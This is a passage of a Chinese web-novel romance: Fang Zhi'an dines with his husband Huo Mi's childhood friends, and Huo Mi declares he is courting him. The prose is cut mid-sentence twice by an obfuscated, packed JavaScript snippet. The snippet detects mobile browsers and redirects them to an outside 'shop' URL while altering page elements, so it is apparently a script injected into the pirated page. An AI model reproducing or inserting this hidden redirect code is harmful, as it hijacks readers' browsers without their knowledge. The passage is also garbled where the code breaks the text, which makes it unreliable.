他愣了一会儿,最后从嘴里蹦出了一声劈了叉的:“哥?” 方知安现在也多少能理解霍觅逗人的乐趣,看着梁巡这样的小孩吃惊意外还挺有趣。 梁巡原本是回来找徐自乐的,结果迎面就看见了自己哥哥一脸清纯地混进了学校,这让他很难不震惊。 方知安把霍觅要当志愿者的事告诉了梁巡,梁巡本就张大的嘴巴更是收不回去。 “哥你来真的啊?”梁巡咋舌,“姜助理又要被你吓死了吧。” 霍觅不以为意,只是淡淡看了他一眼,梁巡准确地接收到来自哥哥的命令,立马乖乖闭嘴。 “那你不是要明天开始做志愿者吗,怎么今天就来了。”梁巡憋了会儿又问。 霍觅闻言看了眼方知安,他的手轻轻搭在方知安肩上:“我等不及了,来拐走你们方老师去吃晚饭。” 梁巡一怔,没想到自己哥哥这么不要脸,他瞟见方知安泛红的耳朵,小声说:“厚脸皮。” 方知安燥的慌,他肩上热,一转身脱开霍觅的手,说了句“我进去换身衣服”,随后就关上了办公室的门。 霍觅来的时间也没那么不巧,方知安换完衣服,在办公室里折腾了一会儿就临近了下班的点。外头的梁巡被霍觅打发走,走廊又变得安静。 傍晚的日光没有白天那么耀眼,原本强烈的攻击性逐渐削弱,变得和煦起来。 方知安和霍觅肩并肩走在教学楼中间的路上,沿途没什么人,学生这个点都涌到了食堂里,操场上的音乐声渐息,取而开启的是校园广播台,温柔的女声朗读着今天的稿子,随后便开始播放学生点的歌曲。 方知安以前就是一中的学生,这些事对他而言都很熟悉,不论是学生时期,还是眼下成为了老师,一切好像都没什么太大的变化。 唯一的不同,大概就是他身边多了一个霍觅。 “学长,你以前吃晚饭也和你同学一起散步吗?” 方知安闻言眼底涌起回忆,他摇摇头说:“高中太忙,当时只想着学习考试,也没好好看过这个学校,倒是现在教了书才有空走走。” “不过大学的时候就好多了,”方知安笑起来,“下了晚课我喜欢去操场走走,晚上的风很舒服,我当时好像还遇见过你几次。” 霍觅的神色微滞: “嗯,我们遇到过很多次。” 方知安无知无觉地回忆着,还没来得及扯出更多,二人已经走到了前门,霍觅的车就停在街旁。 方知安想起什么,赶紧拿出手机补充申请,没一会儿,霍觅就成了程序正当的家长志愿者。不过其实他不弄也行,毕竟冲着霍觅捐的那两栋楼他就是想体验两天校长都没人敢拦着。 霍觅的车内一向都是淡淡的木香,但今天这种味道发生了变化,开始变得柔软,味道更倾向柑橘,两者相交,气味很奇特。 ”你换车载香水了?”方知安问。 “嗯,这个味道好闻吗。”霍觅系上安全带。 方知安认真闻了闻:“好闻,好像在哪闻到过。” 霍觅笑了笑,却不说明白:“你自己想。” 方知安靠在座位上,窗外逐渐斑驳的光线在他脸上投射移动,鼻端是木香柑橘纠缠的浅淡气味。 都说气味和记忆纠缠得最深,方知安后知后觉意识到这种熟悉来自哪里。 浴室。 这是他和霍觅不同的沐浴露气味交缠的后调。 答案就在嘴边,但方知安却说不出口,他的唇舌磕碰了一下,手扶上了泛红的脖颈。 “怎么了学长?”等红灯的间隙,霍觅看向他,嘴角噙着笑。 方知安撑着脸,也不说,只道:“霍先生,请认真开车。” 霍觅闻言十分听话,乖乖转回去开车,没再多问,但方知安的反应没逃过他的眼睛。 答案他们都心知肚明,但二人却心照不宣,都没有明说。 方知安心乱得很,霍觅近来的每一个举动,从拥抱牵手,到亲吻香水,他不得不多想。 他们难道真的只是简单的婚姻关系吗?现在的他们,简直像是在恋爱。 方知安的心绪百转,临近目的地,他没忍住直接问霍觅:“霍觅,我问你个问题。” “学长你说。” “我们现在这样算是什么?” 霍觅眼睫轻动,霓虹灯光照在他高挺的眉骨上,那里落下的阴影几乎将霍觅的双眼完全笼罩,但其中的一点亮光却愈发明显。 “我们的关系是夫妻,至于现在,”霍觅干脆利落地把车停好,“我在追求你。” “如果你愿意答应我的追求,那我们就是在恋爱。” 方知安的呼吸一窒,他没想到自己会得到这样的回答。 “可我们已经结婚了,你不需要……嗯,追求我。” “结婚是一回事,这又是另一回事,”霍觅望进方知安的眼,“学长,不要拒绝我的追求,好不好。” “我没谈过恋爱,也没追过人,这还是第一次。” 这件事看起来有些荒谬,他们明明已经领了结婚证,但霍觅却认真说要追求自己。 方知安一下没回过神,但他知道,自己无法拒绝这样的请求。 稳定的婚姻,稳定的家庭,这是他曾经向往的。但现在霍觅还要为这一切加码上一份感情。 “可我也不会谈恋爱。”方知安面露难色,“我做不好这个。” 霍觅嘴角微扬:“不要担心,现在我还在追你呢,等你考虑好了,我们再说别的。” “他们估计在等着了,我们上去吧。” 方知安被霍觅牵着往前走,粗硬的指节穿过他的指缝,温热的指腹 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14073688|149406||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 几乎贴着方知安疯狂跃动的脉搏。 而等到方知安等走出两步,他才发现,这里居然是他们上次来吃饭的那个餐厅。 “这儿是我一个发小开的,他今天也来了,等会儿给你介绍。”霍觅说。 方知安想起上次餐厅冷清的场景,也猜到大概是霍觅包了场。 有钱真是任性,方知安叹了口气。 果不其然,今天走进餐厅里面也十分安静。 陆其在门口等候已久,他看见霍觅就眼睛一亮,然后风度宽地走到方知安面前,笑着自我介绍:“你好,我叫陆其,是霍觅这家伙的发小。” 他伸出手,但还没等方知安牵上就被霍觅一把打开。 “少动手动脚。”霍觅毫不留情。 陆其不忿地揉了揉手,方知安见状无奈道:“你好,我是方知安。” “来了就进去吧,他们都已经来了,今天高架怪堵的,开过来憋屈死我了。”陆其絮絮叨叨,带着他们俩进了餐厅里面的包厢。 这饭店是他后来盘下来的,从头到脚全部重新装修过,格调十分不错。 他推开门,早已落座的商敬秋和秦焱抬眼,和外面的人相触交汇。 他们和陆其不同,身上都是板正的西装,看起来像是刚从会议上拉出来的。 霍觅给方知安做了介绍,他们四家关系亲近,小孩也是从小一块儿长大的,这么多年过去关系依旧亲近,现在生意上的联系也深。 他说着,顺手就给方知安拉开座位。霎时,那无微不至,纯良无害的人夫感就扑面而来。 陆其早有准备,转向另外两人时果然看见了他们抽搐的嘴角。 有趣。陆其欠欠地笑了笑。 霍觅的脾气是他们几个里最糟糕的,以前就不好说话,又臭又硬。 至于现在怎么变成这样的,他们也不明白,只是看向方知安的目光里带上了几分敬意。 方知安有点局促地坐下,刚才被霍觅打乱的心跳还没平息,有关追求的话还在他耳边绕,就连那股柑橘木香都没远去。 陆其他们来之前就被霍觅反复叮嘱过,这不许问,那不许说,这饭吃得格外老实。 不过有些事不问他们也能感受到,一个人究竟怎么样,一顿饭的时间已经足以让人看个大概。 “你今天穿的什么啊,你骚包西装呢?”陆其依言不打趣方知安,索性把火力转向了霍觅。 霍觅要开车,没碰酒,只是抿了口饮料:“这几天都用不上。” “你干嘛去了,出差啊?”陆其开了瓶新酒。 “去当志愿者。” “你投公益项目了?” “我弟校运会。” “噗——”这声是秦焱出的,他仪态都顾不上了,直接瞪圆了眼。 “你去校运会给人当志愿者呢?”商敬秋接着问。 方知安憋着笑偏过脸,只听见霍觅坦荡地“嗯”了一声。 陆其也震惊,想起来霍觅他弟读的是什么学校,眼睛又眯了眯,开口道:”方学长,霍觅这么粘人你不管吗?” 他话音刚落,霍觅就不动声色地踩了旁边那双切尔西一脚,幼稚得很。 陆其哎呦了一声,恼火地看向他:“你干嘛。” “不许叫。”霍觅话语简短。 “叫什么,”陆其后知后觉意识到什么,随后挑眉道,“难道这还只有能你叫?” 霍觅游刃有余地擦了擦手,不经意地露出了无名指上那枚戒指:“嗯,只有我能叫。” 25. 我粘人吗 陆其的脸色一下变得有点难以言说,他以前没少见别人显摆自己对象,什么样式都不缺,但霍觅这样爱开屏的,他还是第一次见。 简直一整个闷骚公孔雀。 上次见面就显摆过了,这次逮着人多还再来一次。 这人真是,陆其默默扶额。 “行了我不叫,你管得可真宽。”他无奈摆摆手。 霍觅这护食的样子还挺少见,商敬秋见状举起杯子敬了敬方知安,他以茶代酒,礼貌问:“这么说来,方老师你和霍觅以前还是校友。” 方知安也回了:“嗯,差了两届,不过不是同一个专业。” “那你们怎么认识的?” “他来了我们社团,当时我是负责人,”方知安顿了顿,“说实话,当年我们社团招新的时候不大顺利,还是霍觅加入之后才好了起来。” 商敬秋闻言不免好奇:“这怎么说?” 陆其一把接过话头:“这你就有所不知了,霍觅他在Z大里面名气大得很,不说别的,就他那张脸,你就说够不够有吸引力吧。” “原来是这样,”商敬秋抿了口茶,“那你们交情不浅。” 方知安笑了笑,没纠正商敬秋的说法。实际上他和霍觅自从毕业后就再没了什么联系,要不是那次意外,他现在也不会坐在这里。 陆其接着说:“我还记得当时你们学校搞什么‘百团大战’,那么多社团望过去简直眼花缭乱,结果我溜达一圈回来你连申请表都填好了。” “没那么麻烦。”霍觅给方知安夹了一块糕点,“吃饭吧,那么多菜也堵不住你的嘴。” “怎么了,我都是这老板了,话也不让说。”陆其嘟哝着。 秦焱过了刚才震惊那劲,随口开玩笑道:“说起来我记得梁巡就是在一中读书,哈哈哈,不会就是在方老师班里吧。” 他说这话的时候其实没多想,但方知安却实诚答到:“是,我是梁巡班主任。” “......” “啊,这样啊。”秦焱一怔,寻思商敬秋刚才那口酒算是白喷了,“哈哈那还真是有缘分啊。” 就说呢,霍觅哪有那么闲去给他弟弟当志愿者,原来是黏着对象去了。 商敬秋夜眯了眯眼,此前的事情串在一起一下就琢磨通了。 他们几个都是老狐狸成精,但在自己哥们面前不拐弯抹角,想到什么也就直说了,没什么不能提。 除了霍觅和商敬秋,陆其和秦焱都是在国外读的大学,他们平时都忙,能聚在一起的机会也不多,今天倒也难得。 方知安原本担心的事都没出现,这顿饭吃的平和,霍觅朋友对他都尊重,方知安能感觉到。 至于这些天之骄子为什么能做到这种程度,方知安不排除他们所接受的教育,但其中霍觅的因素也难以忽略。 他的态度占了很大的比重,或者说,他就是风向标。 他们在陆其的餐厅没待到太晚,一来是因为商敬秋明天还要出差飞一趟曼彻斯特,要早点回去休息,二来则是因为外头的下起了雨,也不知道这雨会变成什么样,安全起见,索性早点打道回府。 陆其在餐厅这边有居所,就没跟他们一起走,把人送到了电梯口就走了。 商敬秋和秦焱的司机都早早等在楼下,上了车,商敬秋缓缓降下车窗,笑着问霍觅:“你怎么回去?” “开车。” “你自己?” “怎么?”霍觅牵住方知安的手。 “没什么,”商敬秋眼尖,他知道霍觅现在把人当心肝一样揣着呢,没多调侃,只说,“路上小心,下次等我回国再聚,我朋友最近开了个庄园,回头去他那玩。” 霍觅闻言说好。 一旁的秦焱也不甘示弱,招呼着:“方老师我们下次见哈,你别太惯着霍觅,这家伙就爱顺着杆子往上爬。” 霍觅刚才还端着好脾气,这会儿又挥挥手,巴不得他们赶紧走。 地下车库里引擎声迭起,其他人都走了。 方知安被霍觅牵回车里,边上没了人,刚才还威风凛凛的人现在跟受了委屈一样看着他。 “学长,你真觉得我粘人吗?”霍觅只看着他,“我很烦人吗?” 方知安见状也不墨迹,他直接伸手捧上了霍觅的脸,笑着说:“哪里烦人,我不觉得。” 霍觅安分地把脸放在他掌心,稍稍侧过头问他:“那明天当志愿者,要跟老师你一块儿去吗?” 他说着,调转方向的呼吸就全部洒在了方知安的手腕上,方知安被烫得一缩,没忍住痒收了回来。 “那太早了,你难得休假,干脆睡个懒觉。”方知安算着时间,“九点多再来吧,到时候应该也忙起来了。” “嗯,”霍觅也收敛了,“都听你的。” 回到家方知安收拾着前天晚上晒的衣服,他和霍觅的混在一块儿,连香味都是一样的。 这洗衣液是他搬过来之后换的,刚开始两个人还装装矜持自己洗自己的,结果没两天就混到了一起,现在也不分了。 霍觅的衬衫叠在方知安的T恤上,都是白的,一个不留神还容易分错,不过方知安做事细致,到目前为止还没闹过乌龙。 外头的雨声渐大,砸在玻璃上噼啪作响,圈圈又来方知安腿边讨吃的,锲而不舍转着圈,猫如其名。 方知安刚想给他拿罐头就接到了余思雨的电话,方知安没那么多手能忙活,只好开了免提,摸了两下猫头先去给它开罐头。 “思雨?有什么事吗。” “没事就不能找你了,”余思雨的声音听起来有点郁闷,“圆圆啊,你真是结了婚就忘了兄弟。” 方知安感受到余思雨的怨气,连忙说:“怎么会,你别瞎说。” “你搬走之后我们俩都多久没见了,什么时候出来聚聚啊。” “前段时间有点忙,我刚赶完一个课题,那要不这周末?”方知安知道余思雨就是一个人郁闷,于是主动提议。 “也行,”余思雨很好哄,“那你别忘了啊,周六下午就去老城区那边吧,那家牛肉面我都多久没吃过了。” 方知安没意见,周六他难得有空,时间完全可以自由支配。 余思雨刚说完又接着问:“圆圆啊,你现在在家里?” “嗯,喂猫呢。” “猫?你新养的?” “不是,是霍觅的,他爸妈最近不在国内不方便照顾,所以就送到我们这来了。” “那你也是圆梦了哈,”余思雨知道方知安一直想养猫,现在这样也挺好,“那不打扰你了,咱们周末见,不来的话圆圆你就完了。” 余思雨挂了电话,方知安看着眼前大快朵颐的圈圈,没忍住 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14073689|149406||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 挠了两下那段毛茸茸的尾巴根。圈圈跟着哆嗦了一下,头都还没抬起来又被香味勾着埋了下去。 逗完猫,方知安站起身准备接着收拾沙发上摊开的衣服,霍觅傍晚说的话依旧在他耳边环绕,明明是那么直白的“追人”,却让他到现在都还没平静下来。 就连当初那一晚醒来也没那么慌乱。 霍觅只说要追,也没说怎么追,那自己该有所反应吗? 方知安实在经验匮乏,甚至想着要不打个电话求助一下余思雨 思绪纷乱间,一股熟悉的暖香却逐渐靠近。 浅淡的柑橘缠着木香,霍觅的胳膊环上了方知安的腰。 大概是之前这段时间贴习惯了,方知安现在对这样的拥抱或是肢体接触已经彻底习以为常。 眼下霍觅只穿了一件T恤,手臂肌肉微隆,线条流畅又漂亮,方知安低头瞟了一眼,看得有点羡慕。 方知安原以为这只是一个普通的拥抱,但那道气息却不断向他靠拢。 于是他仰头问霍觅:“怎么了?” 短暂沉默后霍觅声音骤然响起。 “圆圆。” 方知安一怔。 霍觅说这话的时候一字一字咬过去,莫名暧昧。 他刚洗完澡,发尾还湿着,身上带着浴室潮热的水汽,凭着一个拥抱就将方知安笼罩其中。 方知安脖子一麻,又听见霍觅说:“这是学长的小名吗?” 闻言,方知安手上的动作停止了,他耳朵尖泛热,说:“嗯。你别叫这个。” 被霍觅叫小名,这种感觉很陌生,至于缘由,方知安自己还没琢磨出来。 明明余思雨说就没事,但霍觅一开口,他只觉得周围的温度都在升高,就像是自己的某个秘密让别人知道了,于是下意识不让那人多说。 “他能说,我不能吗。”霍觅把下巴靠在方知安肩膀上,重量没放下来,但皮肉相触的感觉却一点不少,宠物博主视频里的大型犬就喜欢这么黏着主人。 “没说你不能,”方知安手指微蜷,“那么大个人,老被叫小名,我不好意思。” “这样吗,”霍觅顿了顿,松开了一只抱着方知安的手,朝着吃完罐头的圈圈勾了勾,说:“圈圈,过来。” 圈圈心满意足,听见人的声音立即甩了甩尾巴,还没舔毛就一颠一颠地跑了过来。 霍觅嘴里明明叫的是猫的名字,但这落到方知安这听来却带了点别的意味。 圈圈和圆圆。 差别也不是很大。 “学长你都把小名打微信名字上了,怎么现在才不好意思。”霍觅不动声色地收紧了剩下那只胳膊。 方知安偏过头,试图辩解:“那是‘圆’,又不是‘圆圆’。” 他说着拉开了霍觅的胳膊,转过身去折衣服,正好错过了霍觅嘴角一闪而过的笑意。 方知安此前的思绪被完全打乱,只觉得霍觅抱过他之后,自己身上全是那股柑橘的香味。 他现在可以确定了,霍觅这人就是爱撩拨。 “你说运动会我要不要带点什么,”霍觅没走开,就在方知安身边的沙发上坐了下来,“零食,还是饮料?你们管饭吗?” 还挺幼稚的,方知安腹诽。 “一中管不管我不知道,”方知安叠起霍觅的衬衫,“反正你的归我管。”